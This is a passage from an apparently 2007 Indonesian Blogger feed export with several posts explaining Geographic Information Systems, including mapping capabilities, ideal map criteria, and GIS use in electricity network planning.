class="storycontent"&gt; &lt;p&gt;&lt;span&gt;Kemampuan SIG antara lain:&lt;br /&gt;&lt;/span&gt;&lt;em&gt;&lt;span&gt;1. Memetakan Letak &lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;span&gt;Data realita di permukaan bumi akan dipetakan ke dalam  beberapa layer dengan setiap layernya merupakan representasi kumpulan benda  (feature) yang mempunyai kesamaan, contohnya layer jalan, layer kapling  bangunan. Layer-layer ini kemudian disatukan dengan disesuaikan urutannya.  &lt;/span&gt;&lt;span&gt;Setiap data pada setiap layer dapat dicari, seperti halnya  melakukan query terhadap database, untuk kemudian dilihat letaknya dalam  keseluruhan peta.&lt;br /&gt;&lt;/span&gt;&lt;span&gt;Kemampuan ini memungkinkan seseorang untuk  mencari dimana letak suatu daerah, benda, atau lainnya di permukaan bumi. Fungsi  ini dapat digunakan seperti untuk mencari lokasi rumah, mencari rute jalan,  mencari tempat-tempat penting dan lainnya yang ada di peta. &lt;br /&gt;&lt;/span&gt;&lt;em&gt;&lt;span&gt;2. Memetakan Kuantitas&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;span&gt;Orang sering  memetakan kuantitas, yaitu sesuatu yang berhubungan dengan jumlah, seperti  dimana yang paling banyak atau dimana yang paling sedikit. Dengan melihat  penyebaran kuantitas tersebut dapat mencari tempat-tempat yang sesuai dengan  kriteria yang diinginkan dan digunakan untuk pengambilan keputusan, ataupun juga  untuk mencari hubungan dari masing-masing tempat tersebut. Pemetaan ini akan  lebih memudahkan pengamatan terhadap data statistik dibanding database biasa. &lt;br /&gt;&lt;/span&gt;&lt;em&gt;&lt;span&gt;3. Memetakan Kerapatan ( Densitas ) &lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;span&gt;Pemetaan kerapatan sangat berguna untuk data-data yang  berjumlah besar seperti sensus atau data statistik daerah. Misalnya, Untuk  melihat lokasi pelanggan dengan jumlah pemakaian listrik terbanyak atau yang  pemakaian listriknya relative lebih sedikit. Sehingga data ini dapat digunakan  sebagai dasar pengambilan keputusan dalam menyikapi permasalahan yang terjadi  akibat ketidakseimbangan kerapatan.&lt;br /&gt;&lt;/span&gt;&lt;em&gt;&lt;span&gt;4. Memetakan Perubahan &lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;span&gt;Dengan memasukkan variabel waktu, SIG dapat dibuat untuk  peta historikal. Histori ini dapat digunakan untuk memprediksi keadaan yang akan  datang dan dapat pula digunakan untuk evaluasi kebijaksanaan. &lt;br /&gt;&lt;/span&gt;&lt;em&gt;&lt;span&gt;5. Memetakan Apa yang Ada di Dalam dan di Luar Suatu Area &lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;span&gt;SIG digunakan juga untuk memonitor apa yang terjadi dan  keputusan apa yang akan diambil dengan memetakan apa yang ada pada suatu area  dan apa yang ada diluar area. Sebagai contohnya, Sebuah gardu listrik dengan  kapasitas tertentu, dapat melayani pelanggan dalam jarak tertentu dari lokasi  gardu listrik tersebut. Dengan peta ini, dapat dijadikan bahan pertimbangan  dalam pengambilan keputusan untuk perencanaan ke depan, misalnya untuk memasang  tambahan gardu listrik baru di area yang tidak terjangkau gardu listrik yang  ada.&lt;/span&gt; &lt;/p&gt;&lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-908044322287212656?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/908044322287212656/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=908044322287212656' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/908044322287212656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/908044322287212656'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/kemampuan-dan-kelebihan-gis.html' title='Kemampuan dan kelebihan GIS'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-1499820686553591226</id><published>2007-09-27T07:20:00.000-07:00</published><updated>2007-09-27T07:29:26.429-07:00</updated><title type='text'>Pengetahuan Peta beraplikasi GIS</title><content type='html'>&lt;div class="post"&gt;29 June 2007&lt;br /&gt;&lt;img src="http://www.digicomp.com/images/gis.gif" /&gt;&lt;br /&gt;&lt;div class="storycontent"&gt; &lt;p&gt;&lt;span&gt;Peta merupakan suatu representasi konvensional (miniatur) dari  unsur-unsur (fatures) fisik (alamiah dan buatan manusia) dari sebagian atau  keseluruhan permukaan bumi di atas media bidang datar dengan skala  tertentu.&lt;br /&gt;&lt;/span&gt;&lt;span&gt;Adapun persyaratan-persyaratan geometrik yang harus  dipenuhi oleh suatu peta sehingga menjadi peta yang ideal  adalah:&lt;br /&gt;&lt;/span&gt;1.       &lt;span&gt;Jarak antara titik-titik yang terletak di atas  peta harus sesuai dengan jarak aslinya di permukaan bumi (dengan memperhatikan  faktor skala tertentu).&lt;br /&gt;&lt;/span&gt;2.       &lt;span&gt;Luas suatu unsur yang  direpresentasikan di atas peta harus sesuai dengan luas sebenarnya (juga dengan  mempertimbangkan skalanya).&lt;br /&gt;&lt;/span&gt;3.       &lt;span&gt;Sudut atau arah suatu garis  yang direpresentasikan di atas peta harus sesuai dengan arah yang sebenarnya  (seperti di permukaan bumi).&lt;br /&gt;&lt;/span&gt;4.       &lt;span&gt;Bentuk suatu unsur yang  direpresentasikan di atas peta harus sesuai dengan bentuk yang sebenarnya (juga  dengan mempertimbangkan faktor skalanya).&lt;br /&gt;&lt;/span&gt;&lt;span&gt;Pada kenyataannya di  lapangan merupakan hal yang tidak mungkin menggambarkan sebuah peta yang dapat  memenuhi semua kriteria di atas, karena permukaan bumi itu sebenarnya  melengkung. Sehingga pada saat melakukan proyeksi dari bentuk permukaan bumi  yang melengkung tersebut ke dalam bidang datar (kertas) akan terjadi distorsi.  Oleh karena itu maka akan ada kriteria yang tidak  terpenuhi.&lt;br /&gt;&lt;/span&gt;&lt;span&gt;Prioritas kriteria dalam melakukan proyeksi peta  tergantung dari penggunaan peta tersebut di lapangan misalnya untuk peta yang  digunakan untuk perencanaan Jaringan Listrik, maka yang akan jadi prioritas peta  ideal adalah kriteria 1 dan 3, sedangkan peta denah kampus yang akan kita  digitasi tentunya kriteria 2 dan 4 yang akan diutamakan.&lt;/span&gt; &lt;/p&gt;&lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-1499820686553591226?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/1499820686553591226/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=1499820686553591226' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1499820686553591226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1499820686553591226'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/pengetahuan-peta-beraplikasi-gis.html' title='Pengetahuan Peta beraplikasi GIS'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-6037436209346325118</id><published>2007-09-27T07:15:00.000-07:00</published><updated>2007-09-27T07:19:24.425-07:00</updated><title type='text'>Aplikasi SIG untuk Sistem Kelistrikan</title><content type='html'>&lt;div class="post"&gt;29 June 2007&lt;br /&gt;&lt;img style="width: 239px; height: 215px;" src="http://www.allproducts.com/ee/seec/45-insulation_switch.jpg" /&gt;&lt;br /&gt;&lt;div class="storycontent"&gt; &lt;p&gt;&lt;span&gt;Secara umum, dalam bidang kelistrikan aplikasi SIG dapat digunakan  untuk manajemen inventarisasi jaringan listrik, perencanaan jaringan tahun  berikutnya, misalnya penentuan letak Gardu listrik, rute jaringan yang optimal,  sampai pada penentuan lokasi kantor pelayanan  pelanggan.&lt;/span&gt;&lt;/p&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Teknologi SIG dalam bidang kelistrikan   diterapkan untuk memetakan daerah/ lokasi pelanggan, asset jaringan, dan semua  informasi yang terkait dengan pelanggan dan asset jaringan tersebut. Dan dalam  perkembangannya, data – data ini dapat disesuaikan dengan kebutuhan dalam rangka  pembangunan dan implementasi infrastruktur  ketenagalistrikan.&lt;br /&gt;&lt;/span&gt;&lt;span&gt;Agar kegiatan tersebut dapat terselenggara  dengan baik sebagaimana mestinya maka data yang dipergunakan harus memadai dalam  arti lengkap, mutakhir, akurat dan dapat ditelusuri setiap perubahan yang  terjadi ( di updating data setiap setiap terjadi perubahan  ).&lt;br /&gt;&lt;/span&gt;&lt;span&gt;Pada dasarnya data merupakan asset perusahaan yang sangat  berharga, karenanya harus diperlakukan dengan cermat seperti kelaziman  memberlakukan sumber daya perusahaan lainnya seperti uang dan material. Untuk  menjamin bahwa data yang dipergunakan pada kegiatan ini memenuhi persyaratan  standar, perlu disiapkan pedoman serta petunjuk yang jelas tentang bagaimana  data yang dibentuk/bagaimana perubahan dilakukan serta bagaimana mengkoreksi  kesalahan yang terjadi pada saat data dibentuk.&lt;br /&gt;&lt;/span&gt;&lt;span&gt;Selain yang  sudah disebutkan di atas, penerapan SIG dalam bidang kelistrikan dimaksudkan  untuk:&lt;br /&gt;&lt;/span&gt;a)       &lt;span&gt;Meningkatkan efisiensi dan efektivitas kerja  yang ditunjang oleh data yang akurat, yang bukan saja merupakan data teks,  tetapi juga didukung dengan data keruangan (spasial)&lt;br /&gt;&lt;/span&gt;b)        &lt;span&gt;Meningkatkan kecepatan dalam hal pengambilan keputusan.&lt;br /&gt;&lt;/span&gt; &lt;p&gt;c)       &lt;span&gt;Meningkatkan monitoring khususnya dalam hal informasi jaringan  kelistrikan yang sedang berjalan. Misalnya penambahan/pengurangan asset, serta  monitoring terhadap perpindahan lokasi asset.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;d)   T&lt;/span&gt;&lt;span&gt;ujuan akhir dari semua di atas adalah untuk  meningkatkan pelayananan pelanggan.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-6037436209346325118?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/6037436209346325118/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=6037436209346325118' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6037436209346325118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6037436209346325118'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/aplikasi-sig-untuk-sistem-kelistrikan.html' title='Aplikasi SIG untuk Sistem Kelistrikan'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-6316578370018438161</id><published>2007-09-22T22:30:00.000-07:00</published><updated>2007-09-22T22:41:01.623-07:00</updated><title type='text'>Sistem Informasi Geografi</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;span style="display: none;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2&gt;&lt;a href="http://mbojo.wordpress.com/2007/04/08/sistem-informasi-geografi-sig/" title="Taut Tetap ke Sistem Informasi Geografi (SIG)/Geographic Information System (GIS)"&gt;Sistem Informasi Geografi (SIG)/Geographic Information System (GIS)&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;  &lt;p class="date"&gt;Ditulis oleh &lt;a href="http://mbojo.wordpress.com/"&gt;La An&lt;/a&gt; di/pada April 8th, 2007&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Tulisanku yang mangkrak lg, mending aku upload disini&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 18.7pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Sistem Informasi Geografi (SIG) atau Geographic Information System (GIS) adalah suatu sistem informasi yang dirancang untuk bekerja dengan data yang bereferensi spasial atau berkoordinat geografi atau dengan kata lain suatu SIG adalah suatu sistem basis data dengan kemampuan khusus untuk menangani data yang bereferensi keruangan (spasial) bersamaan dengan seperangkat operasi kerja (Barus dan Wiradisastra, 2000). Sedangkan menurut Anon (2001) Sistem Informasi geografi adalah suatu sistem Informasi yang dapat memadukan antara data grafis (spasial) dengan data teks (atribut) objek yang dihubungkan secara geogrfis di bumi (&lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;georeference&lt;/span&gt;&lt;/em&gt;). Disamping itu, SIG juga dapat menggabungkan data, mengatur data dan melakukan analisis data yang akhirnya akan menghasilkan keluaran yang dapat dijadikan acuan dalam pengambilan keputusan pada masalah yang berhubungan dengan geografi.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 18.7pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Sistem Informasi Geografis dibagi menjadi dua kelompok yaitu sistem manual (analog), dan sistem otomatis (yang berbasis digital komputer). Perbedaan yang paling mendasar terletak pada cara pengelolaannya. Sistem Informasi manual biasanya menggabungkan beberapa data seperti peta, lembar transparansi untuk tumpang susun &lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;(overlay)&lt;/span&gt;&lt;/em&gt;, foto udara, laporan statistik dan laporan survey lapangan. Kesemua data tersebut dikompilasi dan dianalisis secara manual dengan alat tanpa komputer. Sedangkan Sistem Informasi Geografis otomatis telah menggunakan komputer sebagai sistem pengolah data melalui proses digitasi. Sumber data digital dapat berupa citra satelit atau foto udara digital serta foto udara yang terdigitasi. Data lain dapat berupa peta dasar terdigitasi (Nurshanti, 1995).&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 18.7pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Pengertian GIS/SIG saat ini lebih sering diterapkan bagi teknologi informasi spasial atau geografi yang berorientasi pada penggunaan teknologi komputer. Dalam hubungannya dengan teknologi komputer, Arronoff (1989) dalam Anon (2003) mendifinisikan SIG sebagai sistem berbasis komputer yang memiliki kemampuan dalam menangani data bereferensi geografi yaitu pemasukan data, manajemen data (penyimpanan dan pemanggilan kembali), memanipulasi dan analisis data, serta keluaran sebagai hasil akhir (&lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;output&lt;/span&gt;&lt;/em&gt;). Sedangkan Burrough, 1986 mendefinisikan Sistem Informasi Geografis (SIG) sebagai sistem berbasis komputer yang digunakan untuk memasukkan, menyimpan, mengelola, menganalisis dan mengaktifkan kembali data yang mempunyai referensi keruangan untuk berbagai tujuan yang berkaitan dengan pemetaan dan perencanaan. Komponen utama Sistem Informasi Geografis dapat dibagi kedalam 4 komponen utama yaitu: perangkat keras (&lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;digitizer&lt;/span&gt;&lt;/em&gt;, &lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;scanner&lt;/span&gt;&lt;/em&gt;, &lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Central Procesing Unit&lt;/span&gt;&lt;/em&gt; (&lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;CPU&lt;/span&gt;&lt;/em&gt;), &lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;hard-disk&lt;/span&gt;&lt;/em&gt;, dan lain-lain), perangkat lunak (&lt;a href="http://mbojo.wordpress.com/2007/04/11/arcview-gis/"&gt;ArcView&lt;/a&gt;, Idrisi, ARC/INFO, ILWIS, MapInfo, dan lain-lain), organisasi (manajemen) dan pemakai (&lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;user&lt;/span&gt;&lt;/em&gt;). Kombinasi yang benar antara keempat komponen utama ini akan menentukan kesuksesan suatu proyek pengembangan Sistem Informasi Geografis.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 18.7pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Aplikasi SIG dapat digunakan untuk berbagai kepentingan selama data yang diolah memiliki refrensi geografi, maksudnya data tersebut terdiri dari fenomena atau objek yang dapat disajikan dalam bentuk fisik serta memiliki lokasi keruangan (Indrawati, 2002).&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 18.7pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Tujuan pokok dari pemanfaatan Sistem Informasi Geografis adalah untuk mempermudah mendapatkan informasi yang telah diolah dan tersimpan sebagai atribut suatu lokasi atau obyek. Ciri utama data yang bisa dimanfaatkan dalam Sistem Informasi Geografis adalah data yang telah terikat dengan lokasi dan merupakan data dasar yang belum dispesifikasi (Dulbahri, 1993).&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 18.7pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Data-data yang diolah dalam SIG pada dasarnya terdiri dari data spasial dan data atribut dalam bentuk digital, dengan demikian analisis yang dapat digunakan adalah analisis spasial dan analisis atribut. Data spasial merupakan data yang berkaitan dengan lokasi keruangan yang umumnya berbentuk peta. Sedangkan data atribut merupakan data tabel yang berfungsi menjelaskan keberadaan berbagai objek sebagai data spasial.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 18.7pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Penyajian data spasial mempunyai tiga cara dasar yaitu dalam bentuk titik, bentuk garis dan bentuk area (&lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;polygon&lt;/span&gt;&lt;/em&gt;). Titik merupakan kenampakan tunggal dari sepasang koordinat x,y yang menunjukkan lokasi suatu obyek berupa ketinggian, lokasi &lt;st1:place st="on"&gt;&lt;st1:city st="on"&gt;kota&lt;/st1:city&gt;&lt;/st1:place&gt;, lokasi pengambilan sample dan lain-lain. Garis merupakan sekumpulan titik-titik yang membentuk suatu kenampakan memanjang seperti sungai, jalan, kontus dan lain-lain. Sedangkan area adalah kenampakan yang dibatasi oleh suatu garis yang membentuk suatu ruang homogen, misalnya: batas daerah, batas penggunaan lahan, pulau dan lain sebagainya.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 18.7pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Struktur data spasial dibagi dua yaitu model data raster dan model data vektor. Data raster adalah data yang disimpan dalam bentuk kotak segi empat (grid)/sel sehingga terbentuk suatu ruang yang teratur. Data vektor adalah data yang direkam dalam bentuk koordinat titik yang menampilkan, menempatkan dan menyimpan data spasial dengan menggunakan titik, garis atau area (polygon) (Barus dan Wiradisastra, 2000).&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 18.7pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Lukman (1993) menyatakan bahwa sistem informasi geografi menyajikan informasi keruangan beserta atributnya yang terdiri dari beberapa komponen utama yaitu:&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in; text-align: justify; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;1.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;&lt;a href="http://mbojo.wordpress.com/2007/08/04/pemasukkan-data-dalam-sisitem-informasi-geografi-sig/" target="_blank"&gt;Masukan data&lt;/a&gt; merupakan proses pemasukan data pada komputer dari peta (peta topografi dan peta tematik), data statistik, data hasil analisis penginderaan jauh data hasil pengolahan citra digital penginderaan jauh, dan lain-lain. Data-data spasial dan atribut baik dalam bentuk analog maupun data digital tersebut dikonversikan kedalam format yang diminta oleh perangkat lunak sehingga terbentuk basisdata (&lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;database&lt;/span&gt;&lt;/em&gt;). Menurut Anon (2003) basisdata adalah pengorganisasian data yang tidak berlebihan dalam komputer sehingga dapat dilakukan pengembangan, pembaharuan, pemanggilan, dan dapat digunakan secara bersama oleh pengguna.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in; text-align: justify; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;2.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Penyimpanan data dan pemanggilan kembali &lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;(data storage &lt;/span&gt;&lt;/em&gt;dan&lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt; retrieval)&lt;/span&gt;&lt;/em&gt; ialah penyimpanan data pada komputer dan pemanggilan kembali dengan cepat (penampilan pada layar monitor dan dapat ditampilkan/cetak pada kertas). &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in; text-align: justify; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;3.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Manipulasi data dan analisis ialah kegiatan yang dapat dilakukan berbagai macam perintah misalnya overlay antara dua tema peta, membuat &lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;buffer zone&lt;/span&gt;&lt;/em&gt; jarak tertentu dari suatu area atau titik dan sebagainya. Anon (2003) mengatakan bahwa manipulasi dan analisis data merupakan ciri utama dari SIG. Kemampuan SIG dalam melakukan analisis gabungan dari data spasial dan data atribut akan menghasilkan informasi yang berguna untuk berbagai aplikasi&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in; text-align: justify; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;4.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Pelaporan data ialah dapat menyajikan data dasar, data hasil pengolahan data dari model menjadi bentuk peta atau data tabular. Menurut Barus dan wiradisastra (2000) Bentuk produk suatu SIG dapat bervariasi baik dalam hal kualitas, keakuratan dan kemudahan pemakainya. Hasil ini dapat dibuat dalam bentuk peta-peta, tabel angka-angka: teks di atas kertas atau media lain (&lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;hard copy&lt;/span&gt;&lt;/em&gt;), atau dalam cetak lunak (seperti &lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;file&lt;/span&gt;&lt;/em&gt; elektronik).&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="text-indent: 18.1pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Menurut Anon (2003) ada beberapa alasan mengapa perlu menggunakan SIG, diantaranya adalah:&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;1.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;SIG menggunakan data spasial maupun atribut secara terintegrasi&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;2.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;SIG dapat digunakansebagai alat bantu interaktif yang menarik dalam usaha meningkatkan pemahaman mengenai konsep lokasi, ruang, kependudukan, dan unsur-unsur geografi yang ada dipermukaan bumi.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;3.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;SIG dapat memisahkan antara bentuk presentasi dan basis data&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;4.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;SIG memiliki kemampuan menguraikan unsur-unsur yang ada dipermukaan bumi kedalam beberapa &lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;layer &lt;/span&gt;&lt;/em&gt;atau &lt;em&gt;&lt;span style=";font-family:&amp;quot;;" &gt;coverage &lt;/span&gt;&lt;/em&gt;data spasial&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;5.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;SIG memiliki kemapuan yang sangat baik dalam memvisualisasikan data spasial berikut atributnya&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;6.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Semua operasi SIG dapat dilakukan secara interaktif&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;7.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;SIG dengan mudah menghsilkan peta-peta tematik&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;8.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;semua operasi SIG dapat di costumize dengan menggunakan perintah-perintah dalam bahaa script.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;9.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Peragkat lunak SIG menyediakan fasilitas untuk berkomunikasi dengan 